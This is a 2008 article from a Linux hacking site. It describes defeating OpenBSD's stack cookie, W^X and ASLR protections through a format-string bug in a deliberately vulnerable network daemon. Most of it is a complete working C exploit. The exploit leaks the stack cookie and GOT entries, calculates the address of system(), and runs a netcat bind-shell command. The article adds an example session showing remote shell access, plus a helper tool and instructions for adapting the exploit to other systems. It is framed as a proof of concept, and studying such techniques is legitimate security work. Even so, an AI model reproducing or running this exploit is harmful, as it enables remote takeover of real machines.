Advertisement
     
 
 
Search:
General | Linux Hacking | Linux Networking | Linux Security | Windows Hacking
       
Formatstrings and OpenBSD PDF Print E-mail
Written by Chris_fs   
Saturday, 01 March 2008
In recent years there has been a lot of focus on so called anti-exploit techniques being built into operating systems. These techniques come in a wide range of functionality but all with the same goal, to make the process of writing functional exploits harder, if not impossible. The general idea is that you will never be able to write 100% bugfree code so you have to make the process of exploiting these bugs harder. One of the operating systems that was among the first to incorporate some of these techniques and has probably also taken it the furthest is OpenBSD.

OpenBSD employs a wide range of measures designed to harden the system against traditional exploits, some of which are:

- Propolice/ssp, this is a stackcookie implementation, it's main point is to protect against linear stack-overflows.

- W^X, this is OpenBSD's way of tackling the non-exec stack problem, although it goes much further. As you might guess from the name, it ensures that not a single memory page is mapped both writeable and executable, this makes running shellcode very hard.

- Stackgap, this is a randomazation of the stacks base-address, this means that guessing the address of our data/shellcode/whatever becomes much harder.

- ASLR/Randomized mapping of libraries, this protects against the classic return-to-libc technique


In this article I will show you a theoretical scenario where these measures can be subverted, the scenario that is laid out is perhaps not very likely to exist in a realworld application (although not completely unheard of [1]), and this article should be seen more as food for thought on the subject of circumventing anti-exploit techniques than a practically applicable technique.
These techniques are meant for 32-bit intel compatible systems.

The most basic prerequisites for this technique to work is a formatstring bug that allows us to read the output, and a daemon-like program. The second point is required because we use the bug multiple times in order to exploit the program and we need the program to continue running between these calls.
This means a network daemon in our scenario, although it should work in a local scenario with a system process as well, perhaps a process with a formatstring bug in a log function and a logfile you have read access to.

As you'll see further down, we've made it a little easier for our selfs in this example, which adds a few more prerequisites. I've used sprintf as the vulnerable function instead of snprintf, so in addition to a formatstring bug there's also a buffer overflow, and we assume that gnu netcat is installed on the system. So without further ado, here's our vulnerable app, like any example, it's as useless as it's dumb.

  int myexit(char *text)
  {
   printf("%s\n", text);
   exit(-1);
  }
 
  int main(int argc, char *argv[])
  {
   char sendbuf[BUFFSIZE];
   char recvbuf[BUFFSIZE];
 
   struct  sockaddr_in address;
   struct  sockaddr client;
 
   int  addrlen = sizeof(client);
   int  mysocket, s, res;
 
   memset(&client, 0, sizeof(client));
   memset((char *) &address, 0, sizeof(address));
 
   mysocket = socket( AF_INET, SOCK_STREAM, 0);
   if (!mysocket)
    myexit("Failed on socket");
 
   address.sin_family = AF_INET;
   address.sin_addr.s_addr = INADDR_ANY;
   address.sin_port = htons(15001);
 
   if (0 !=  bind(mysocket,(struct sockaddr *) &address,sizeof(address)))
    myexit("Failed on bind");
 
   if (listen(mysocket, MAXCONNECTIONS) != 0)
    myexit("Failed on listen");
 
   printf("Listen on Socket\n");
 
   s = accept(mysocket, (struct sockaddr *) &client, &addrlen);
   if (s == -1)
    myexit("Failed on accept");
 
   while( 0 != recv( s, recvbuf, BUFFSIZE, 0))
   {
 
    sprintf(sendbuf, recvbuf);
    if ( send( s, sendbuf, BUFFSIZE, 0) == -1 ){
     myexit("Couldn't send data\n");
    }
   }
   close(s);
   close(mysocket);
   return;
  }
The basic idea here is that we use the formatstring to read information that we need to know to build a succesful exploit. We need a couple of things as you will see in the exploit itself. In order to not make this paper overly long, I've done a lot of the explaining in the form of comments beside the code itself.
We first need to find out a couple of offsets, these offsets are used by the formatstring parameter $ to read a word on the stack. We then use the offsets we've gathered to read, in order, the stackcookie and the stored framepointer. When we have the stackcookie we can overflow the buffer without being trapped by ProPolice, and from the stored framepointer we can get an idea of where on the stack our buffer exists.

We now need to know where we want to divert execution, here we want to call system(), libc is mapped at a random location so we don't know where to jump, however the Global Offset Table contains addresses of mapped functions. The problem is that our vulnerable program doesn't use system() so it's address wont be resolved by our program, and hence wont exist in the GOT.
However we know that printf() is used and therefore exists in the GOT, from debugging we know that it's the third entry. And we can calculate the offset between printf() and system(), this value can of course change between systems, but OpenBSD is a very stable OS so it's fairly stable. So we use the formatstring-bug to read the third GOT entry, and then we calculate the address of system(), and while we're at it we calulate the address for exit() as well, just to give our exploit a nice clean exit.

We now have all the info that we need to build an exploit string. It will look something like this:

|"%.1024u" | stackcookie | pad | system() | exit() | address of command | null | ///command | null | 

Where command is the command string we want to send to system(). Because we don't know the exact address of our string, we will use a few '/' as a form of NOP-sled.
Since we're able to send null-bytes we might as well create two nice null-terminated strings, one with our overflow data and one containing our command to be executed. By doing this instead of tacking our command at the end of our first string we ensure that we don't write too far into the stack, where we might hit something important, like the $SHELL environment variable.

And now for an example session:

  chris_fs@kubuntu:$ uname -sr
  Linux 2.6.17-12-generic
  chris_fs@kubuntu:$ ./exploit 192.168.0.88
  Found target buffer at offset: 20, searching for ret... found at offset: 539
  Ret: 0x1c0006c0, Frame: 0xcfbdc1bc, Cookie: 0x7e4d3594
  Address of printf(): 0xa385514, system(): 0xa377570, exit(): 0xa3a788c
  chris_fs@kubuntu:$ netcat 192.168.0.88 1234
  uname -sr
  OpenBSD 4.2
  exit
  chris_fs@kubuntu:$
And here's the code:
  #include "sys/types.h"
  #include "sys/socket.h"
  #include "netinet/in.h"
  #include "stdlib.h"
  #include "stdio.h"
  #include "string.h"
 
  #define BUFFSIZE  1024
  #define MAXSPLITS 100
  #define GOTADDR  0x3c002148
 
 
  //OpenBSD 3.9
  //#define SYSTEMOFFSETFROMPRINTF 57076
  //#define EXITOFFSETFROMPRINTF -150100
 
  //OpenBSD 4.2
  #define SYSTEMOFFSETFROMPRINTF 57252
  #define EXITOFFSETFROMPRINTF -140152
 
  char *splits[MAXSPLITS];
  char command[] = "/usr/local/bin/netcat -l -p 1234 -e /bin/sh";
 
  int myexit(char *text)
  {
   printf("%s\n", text);
   exit(-1);
  }
 
  long readhex(char *str)
  {
   unsigned long long frame = 0;
   char hexaddr[11] = "0x";
   strncpy(hexaddr+2, str, 8);
   frame = strtoul(hexaddr, 0, 16);
   return (long) frame;
  }
 
  void writeaddress(char *buffer, unsigned int address)
  {
   int i;
   for (i = 0; i < 4; i++)
    buffer[i] = (char) (address>>(i*8)) & 0x000000ff;
  }
 
 
  void sendrecv(char *buffer, int sock, int len)
  {
   int bytes = (len == 0) ? strlen(buffer) : len;
   if ((bytes = send(sock, buffer, bytes, 0)) == -1)
    myexit("Error on send()\n");
 
   bytes = 0;
   memset(buffer, 0, BUFFSIZE);
   if ((bytes = recv(sock, buffer, BUFFSIZE, 0)) == -1)
    myexit("Error on recv()\n");
  }
 
 
  void split(char *buffer, char **splits)
  {
   char *p = 0;
   int i = 0;
   memset(splits, 0, MAXSPLITS*4);
 
   p = (char*) strtok(buffer, " ");
   while (p && (i < (MAXSPLITS-1)))
   {
    splits[i++] = p;
    p = (char*) strtok( 0, " ");
   }
  }
 
  int search(int start, int max, char *pad,  const char *match, int sock)
  {
   int i;
   char buffer[BUFFSIZE];
   for (i=start; i < max; i++)
   {
    snprintf(buffer, BUFFSIZE,  "%s%%%i$x", pad, i);
    sendrecv(buffer, sock, 0);
    if (strncmp(buffer, match, strlen(match)) == 0)
     return i;
   }
   return -1;
  }
 
 
  int main(int argc, char *argv[])
  {
   int  mysocket = 0, res = 0, i = 0, cookieoffset = 0, pad = 0;
   int targetbufferoffset = 0, retoffset = 0, ret = 0;
   int  j = 0;
   unsigned int *bufferptr = 0;
   unsigned int cookie = 0, frame = 0, count = 0;
   unsigned int exitaddr = 0, systemaddr = 0;
   struct  sockaddr_in address;
   char   buffer[BUFFSIZE];
 
   if (argc != 2)
    myexit("Usage: ./exploit  target-ip\n");
 
   if (!(mysocket = socket( AF_INET, SOCK_STREAM, 0)))
    myexit("Couldn't create socket\n");
 
   memset((char *) &address, 0, sizeof(address));
   address.sin_family = AF_INET;
   address.sin_port = htons(15001);
   address.sin_addr.s_addr = inet_addr(argv[1]);
 
   res = connect(mysocket, (struct sockaddr *) &address, sizeof(address));
   if (res != 0)
    myexit("Couldn't connect\n");
 
   //By prepending ABAB in our search and matching against ABAB424142414241
   //we are able to search for the start off our buffer. We will know the
   //offset to use, when referencing data in our buffer in further probes
   i = search(1, 300, "ABAB", "ABAB42414241", mysocket);
   targetbufferoffset = i;
   if (targetbufferoffset < 0)
    myexit("Couldn't locate targetbuffer offset\n");
 
   printf("Found target buffer at offset: %i, searching for ret...", i);
 
   memset(buffer, 0, BUFFSIZE);
   //Okey now we need the stackcookie, we find it right after our 2 buffers
   //2048 bytes = 512 words, and we also read the stored framepointer
   //We grab the the cookie and the following 39 bytes off the stack
   cookieoffset = targetbufferoffset + 512;
   for (i = 0; i< 40; i++)
   {
    res += sprintf(buffer+res, "%%%i$x ", cookieoffset+i);
   }
   sendrecv(buffer, mysocket, 0);
 
   split(buffer, splits);
   cookie = readhex(splits[0]);
 
   //Now we try to find our return address we look for something looking
   //like a return address, and if the word before it looks like a
   //framepointer, we're hopefully right
   for (i = 0; i < 40; i++)
   {
    if ((strncmp(splits[i], "cf",2) == 0) &&
     (strncmp(splits[i+1], "1c00", 4) == 0))
     break;
   }
 
   if (i == 40)
    myexit("couldn't find return address\n");
 
   retoffset = cookieoffset+i+1;
 
   frame = readhex(splits[i]);
   ret = readhex(splits[i+1]);
 
   printf(" found at offset: %i\n", retoffset);
 
   printf("Ret: %p, ", ret);
   printf("Frame: %p, ", frame);
   printf("Cookie: %p\n", cookie);
 
   //Okey we have got what we need on the stack, time for the GOT entries
   memset(buffer, 0, BUFFSIZE);
   snprintf(buffer, BUFFSIZE, "%%%i$s", targetbufferoffset+2);
 
   //Lucky for us we can send null bytes, OBSD devs do anything to make it
   //harder to crack, GOT table address contains nullbyte - go figure.
 
   //The third entry is printf(), so we add 12 bytes to our address
   writeaddress(buffer+8, (GOTADDR+12));
   sendrecv(buffer, mysocket, 13);
 
   bufferptr = (int*) buffer;
   count = *bufferptr;
 
   //If we're unlucky, libc is mapped at an address containing 0x00
   if ((count >> 24) == 0)
    myexit("Unlucky libc address contains nul-byte\n");
 
   //Now that we have the address of printf, we can calculate the rest
   systemaddr = count - SYSTEMOFFSETFROMPRINTF;
   exitaddr = count - EXITOFFSETFROMPRINTF;
 
   printf("Address of printf(): %p", count);
   printf(", system(): %p", systemaddr);
   printf(", exit(): %p\n", exitaddr);
 
   //Okey now we have all the info we need to write our exploit string
   //When we deliver the full string we need 1024+cookie...\0
 
   memset(buffer, 0, BUFFSIZE);
   strncat(buffer, "%.1024u", BUFFSIZE);
 
   bufferptr = (int*) (buffer+strlen(buffer));
   writeaddress( (char *) bufferptr++, cookie); //Add stackcookie
 
   //We add garbage for the space between cookie and ret
   pad = retoffset - (cookieoffset +1);
   printf("\nPad: %i\n", pad);
   for ( i = 0; i < pad ; i++){
    writeaddress( (char *) bufferptr++, 0xaaaaaaaa);
   }
 
   writeaddress( (char *) bufferptr++, systemaddr);//Add system()
   writeaddress( (char *) bufferptr++, exitaddr);  //Add exit()
 
   //Add the address for our system() string, here we guess based on the
   //stored framepointer we retreived earlier, we should land in our sled
   writeaddress( (char *) bufferptr++, frame-1650);  //Add pointer
 
   //Fill the buffer with our "NOP-sled", and add our command for system()
   memset(buffer+strlen(buffer)+1, '/', 800);
   strncat(buffer+strlen(buffer)+1, command, strlen(command));
 
   sendrecv(buffer, mysocket, BUFFSIZE);
 
   //Close connection, invoke ret -> our code
   close(mysocket);
   return 0;
  }


There are still three (two really) hardcoded values in the exploit that might prevent the exploit from working on your system, the first is the GOT address. The second and third are the offsetvalues, which we use to calculate the offset from printf() to system() and exit(), SYSTEMOFFSETFROMPRINTF and EXITOFFSETFROMPRINTF.

The exploit could be improved on, to search for and find these values as well, however since I'm too lazy and this is only Proof of Concept I used hardcoded values. So you might have to tweak these values to get it running on your system.

If you want to get the exploit working on your system, but don't know how, you can follow the below pointers [2].

chris_fs@hushmail.com

[1] Very cool exploit by infamous41md, which uses similar techniques to a different end.
http://web.archive.org/web/20051121201432/http://infamous.hackaholic.org/imapslap.cc.gz

[2] To get the GOT address of your vuln app, just run:

objdump -h vuln | grep got


and note down the address of the .got segment

If you don't know how to calculate the offsets for SYSTEMOFFSETFROMPRINTF and EXITOFFSETFROMPRINTF you can compile the below code and run it like:
./getoffset printf system
./getoffset printf exit

You have to alter the line: #define LIBC "/usr/lib/libc.so.41.0" to match the libc filename on your system. Now after you have the correct values for GOT, SYSTEMOFFSETFROMPRINTF and EXITOFFSETFROMPRINTF just change the values in the exploit and recompile. Good Luck!
  #include < dlfcn.h >
  #include < stdio.h >
 
  #define LIBC "/usr/lib/libc.so.41.0"
 
  int exiterror(char *text)
  {
      printf(text);
      return -1;
  }
 
  int main(int argc, char *argv[])
  {
      void *fp = 0, *fp2 = 0, *handle;
 
      if (argc != 3 )
          return exiterror("Usage: ./prog function1 function2\n");
 
      // Retrieve handle too libc
      handle = dlopen( LIBC, DL_LAZY);
 
      if (handle == 0)
          return exiterror("Failed on dlopen()\n");
 
      fp = dlsym(handle, argv[1]);
      fp2 = dlsym(handle, argv[2]);
 
      if (fp == 0 )
          return exiterror("Error locating first function\n");
 
      if (fp2 == 0)
          return exiterror("Error locating second function\n");
 
      printf("addres of libc %s() : %p\n", argv[1], fp);
      printf("addres of libc %s() : %p\n", argv[2], fp2);
      printf("offset is : %i\n", (int) fp - (int) fp2);
  }
<p> </p>
Article by: Chris_fs



Add as favourites (410)

  Comments (2)
Written by J@rd, on 22-03-2008 22:12
Does this also works for Linux?
Written by Patrick, on 22-03-2008 22:15
Dont think so

Write Comment
  • Please keep the topic of messages relevant to the subject of the article.
  • Personal verbal attacks will be deleted.
  • Please don't use comments to plug your web site. Such material will be removed.
  • Just ensure to *Refresh* your browser for a new security code to be displayed prior to clicking on the 'Send' button.
  • Keep in mind that the above process only applies if you simply entered the wrong security code.
Name:
Comment:

Code:* Code

 
< Prev   Next >
 
© Copyright 2002-2008 - Linux Exposed - Sponsored by ConsultPlanet http://www.consultplanet.nl - Contact Linux Exposed